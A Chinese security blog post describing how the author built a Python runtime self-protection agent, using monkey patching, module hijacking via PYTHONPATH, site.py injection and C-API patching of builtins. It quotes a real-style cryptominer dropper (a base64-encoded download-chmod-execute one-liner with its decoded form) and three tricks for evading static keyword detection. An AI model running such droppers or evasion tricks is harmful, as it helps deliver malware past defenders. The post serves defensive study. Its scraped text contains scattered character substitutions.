Python RASP 工程化:一次入侵的思考

前言

今天讲的内容会很深,包括一些 Python的高级用法和一些本身创造的黑科技,前半部份内容大家可能听过,后半部份内容就真的是黑科技了。。。java

深刻的研究和思考,总会发现不少有意思的东西。每一次的研究,都不会是平白无故的,下面开始咱们今天的故事。(注意文末有花絮python

Tips: RASP,全称应用运行时自我保护解决方案,能够简单理解为部署在应用环境的监控防护程序。linux

 

万事有因果

本次的研究 来源于 对一次入侵手法的思考,众所周知,在linux主机上,挖矿木马比较流行。如今挖比特币的相对少了,又有挖门罗币的。这些木马的植入不会说直接传文件上去,这样动做太大,更多的是经过执行shell命令,远程下载文件并执行 。以以下状况为例,很特别,这是一个经过Python命令植入的挖矿木马:shell

 

python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'安全

 

经过base64解密以后的内容(ip脱敏了):网络

 

import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");并发

 

经过base64隐藏真实代码是一个经常使用的方式,不能说这样作很高明,这条命令特征相对仍是比较明显了。机器学习

 

现有的防护办法是静态分析,经过抓取Python 进程参数,匹配关键字,好比exec,decode,base64 就会很容易发现。可是若是我们脑暴一下作一次静态策略绕过,你会发现静态分析是多么的脆弱。socket

1.绕过 base64函数

 

"base64" = 'case64'.replace('c','b') = '1base641'[1:7]

 

2. 绕过decode (或者直接不用编码)

 

str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')

 

3.终极绝招(妙用管道,让你抓不到Python参数)

 

echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python

 

相信到第3步,静态分析已经穷途末路,你连数据都没有了。

 

这3次绕过是想说明一个问题,Python语言很灵活,尤为和shell结合后,静态分析这条路已经解决不了实际问题。

 

问题出在哪呢?问题出在Python语言自己,语法的灵活对静态分析是致命的。我总结了这么一句话,你们能够回味一下:

 

当字符串能够看成代码执行时,静态分析的尽头也就到了

 

那该怎么解决呢?从Python语言自己出发,监控整个Python的动态行为,这就是Python RASP。

 

研究Python RASP值不值得花时间呢? 你只须要知道每一个linux主机上都会预装Python环境,你就知道它的威胁了。

 

说实话,有开源的PHP RASP,JAVA RASP,还真的没有Python RASP,下面的研究彻底是一个摸索的过程。

 

在研究的过程当中,我碰到两次僵局,穷途陌路之感,差一点觉得Python RASP 不能发挥很大的做用。

 

Monkey Patch 与 依赖注入

Python RASP的行为监控,简单来讲就是hook关键函数,将函数的参数和返回值,送回策略进行过滤。

(1) Monkey Patch

说到hook,首先想到的是Monkey Patch这种方法,对于Python的理念来讲,一切皆对象,咱们能够动态修改Python中的对象。举个例子:

 

 

在主函数中,修改open内置函数,给open添加的了日志打印的功能。运行效果以下,成功的打印出了日志:

 

 

函数调用顺序以下:

 

open('1.txt','r') ->__call__ ->_pre_hook  -> post_hook -> return

 

可是你有没有发现问题,也就是说咱们须要将hook代码添加到用户代码以前,这不现实

现有业务中这么多项目,这么多脚本,每一个项目的代码,我都要改的话,我猜业务同窗会杀策略祭天。所以Monkey Patch 这种方式暂时放弃了,换个思路。

 

(2)依赖注入

 

若是你们以前作过dll劫持,有一种方式是根据dll加载顺序的前后进行劫持的,一样python中咱们也能够用这种方式来作。以import os为例,Python是如何找到os模块呢?搜索顺序以下:

 

当前目录 -> $PYTHONPATH -> Lib库目录 -> site-package 第三方模块路径

 

咱们要利用的就是$PYTHONPATH环境变量指定的目录,在这个目录下,新建os.py文件,import os就不会去 Lib库目录 中查找模块,从而实现了劫持。 咱们既能够劫持函数,也能够劫持类。

 

2.1 劫持os模块下的system函数

 

首先在当前pythonpath路径下建立os.py文件,而后重载一下os模块,最后使用_InstallFcnHook改变system。

 

2.2 劫持socket模块下的_fileObject类

 

劫持类,咱们须要用到Python中元类的概念。元类就是用来建立类的类,函数type其实是一个元类。

元类的主要目的就是为了当建立类时可以自动地改变类,使用元类来劫持类再合适不过了。须要用到的主要方法和属性以下:

 

  • __metaclass__:你能够在写一个类的时候为其添加__metaclass__属性, Python就会用它来建立类。__metaclass__能够接受任何可调用的对象,你能够在__metaclass__中放置能够建立一个类的东西

  • __new__:是用来建立类并返回这个类的实例

  • __call__:任何类,只须要定义一个__call__()方法,就能够直接对实例进行调用,用callable来判断是否可被调用

  • __getattribute__:定义了你的属性被访问时的行为

劫持fileObject类,首先在当前pythonpath路径下建立socket.py文件,而后使用_installclshook动态修改此类,当访问_fileobject的属性方法时,返回到_hook_writeline 和 _hook_readline。

 

 

 

依赖注入这种方法,有一个很大的缺陷,就是内置模块中的类和函数没办法劫持。以__builtin__内置模块为例,这个模块是Python虚拟机中内置的,在虚拟机启动以前就已经加载完毕,不会再去pythonpath中去查找,常见的open函数,decode函数都是没办法劫持的。

虽然使用Monkey Patch能解决,可是依旧有上面所说的缘由,没办法工程化,这就很苦恼。

 

 破局 到 再次入局

 

出现僵局总得解决,有一点能够肯定的是 Monkey Patch 能够hook内置函数,那要解决的问题就是如何让hook代码永远在在用户代码以前运行,这样咱们的hook才能有效控制函数调用。

脑洞大开

 

在用户代码运行以前是谁运行呢?确定是Python虚拟机先运行。若是Python虚拟机启动的过程当中,预加载了一些模块,你把咱们的代码插入这些模块中,不就能够比用户代码先运行了!!!

 

有时候真的是须要脑洞,事实证实我走对了。网上全部关于monkey patch 的资料,都是在教你修改用户代码,添加hook函数,实现动态修改,这种方式还真没有,能够加个鸡腿了

 

脑洞开完以后,下面就须要进行苦逼的分析,你要分析Python虚拟机的初始化过程,必需要看Python源代码了。我就不带你们看代码了,给出一个Python虚拟机模块大体的加载过程。

 

 

 

 

Python虚拟机在设置模块路径时,其中的第三方模块路径是加载site.py模块进行设置的。Python源码部分以下:

 

 

以Windows py2.7为例,打开D:\Python27\Lib目录下的site.py文件,将咱们在第二节中的hook代码 引入到文件末尾便可,这样不管运行什么样子的用户代码,都会首先加载咱们的hook代码

 

 

本觉得到此就结束了,但是才发现刚刚入坑而已。由于就在我打算hook内置 __builtin__模块str类的decode时,出现了异常。

 

 

 

google了一下异常信息,得出一个结论:Monkey Patch能够修改内置模块中的函数,可是没办法修改内置模块中的类属性,好比str的decode函数就没办法了。

其实到这就能够结束了,由于大部分模块,咱们均可以hook住了,可是感受有缺憾,不够完美,仍是有漏的,束缚了RASP的能力,所以又有了接下来的黑科技,开脑洞吧。。。

 

脑洞黑科技

 这时候能用的技术都用完了,真是穷途末路了。。。须要点灵感!!!

 

脑洞时间

 

以前写java程序的时候,使用过JNI技术,也就是java的C接口,不少java作不到的事情,使用C接口就能够作到,还能够访问java对象。联想到Python Monkey Patch失败的问题,颇有多是在Python层作的禁止,是否能够经过Python C API操做对象呢

 

每个类对象都有一个__dict__,里面包含着每一个类的属性信息,例如若是咱们想从str取出decode函数,能够这么干:

 

str.__dict__["decode"]

 

所以我们只要获取__dict__属性,对这个属性进行修改,就能够达到替换的目的。我们使用C API来获取:

 

 

经过patch_builtin函数,咱们就能够获取__dict__对象,而后使用setattr和getattr修改属性便可,因为咱们不改变原有的函数,只是收集日志,因此基本上对虚拟机运行没有影响。最后实验一下效果:

 

 

 到此为止,Python RASP的全部的技术点都结束了。。。呼吸一口新鲜空气。。。

 

亦正亦邪

 技术点结束了,下面就须要落地了。Python RASP总体分为两部分:Agent和Server,Agent负责hook函数,收集函很多天志,并发给Server,Server负责处理日志数据,并制定相应的策略进行过滤报警。

 

 

 

在落地的过程当中,有如下问题须要注意:

 

  1. 数据压制:Agent在采集函很多天志的时候,由于不少Python程序都是作周期性任务,重复数据会不少。

  2. 兼容性: Python RASP 对于Py2和Py3要进行兼容性处理。

  3. 自保护:其实对于Python RASP有不少逃逸的方式,对此咱们要进行加固,下一篇咱们会讲解逃逸和加固。

 

在设计策略的过程当中,注意收集一些执行命令和网络的函数,在下一篇我会列举出来。

 

你们有没有想过Python RASP中使用的技术,是否是特别像木马后门。这可能就是所谓的技术本没有好坏,看你怎么用罢了

 

最后

关注公众号:七夜安全博客

  • 回复【1】:领取 Python数据分析 教程大礼包
  • 回复【2】:领取 Python Flask 全套教程
  • 回复【3】:领取 某学院 机器学习 教程
  • 回复【4】:领取 爬虫 教程
  • 回复【5】:领取 编译原理 教程 
  • 回复【6】:领取 渗透测试 教程 
  • 回复【7】:领取 人工智能数学基础 教程
本文章属于原创做品,欢迎你们转载分享,禁止修改文章的内容。尊重原创,转载请注明来自:七夜的故事 http://www.cnblogs.com/qiyeboy/
相关文章
相关标签/搜索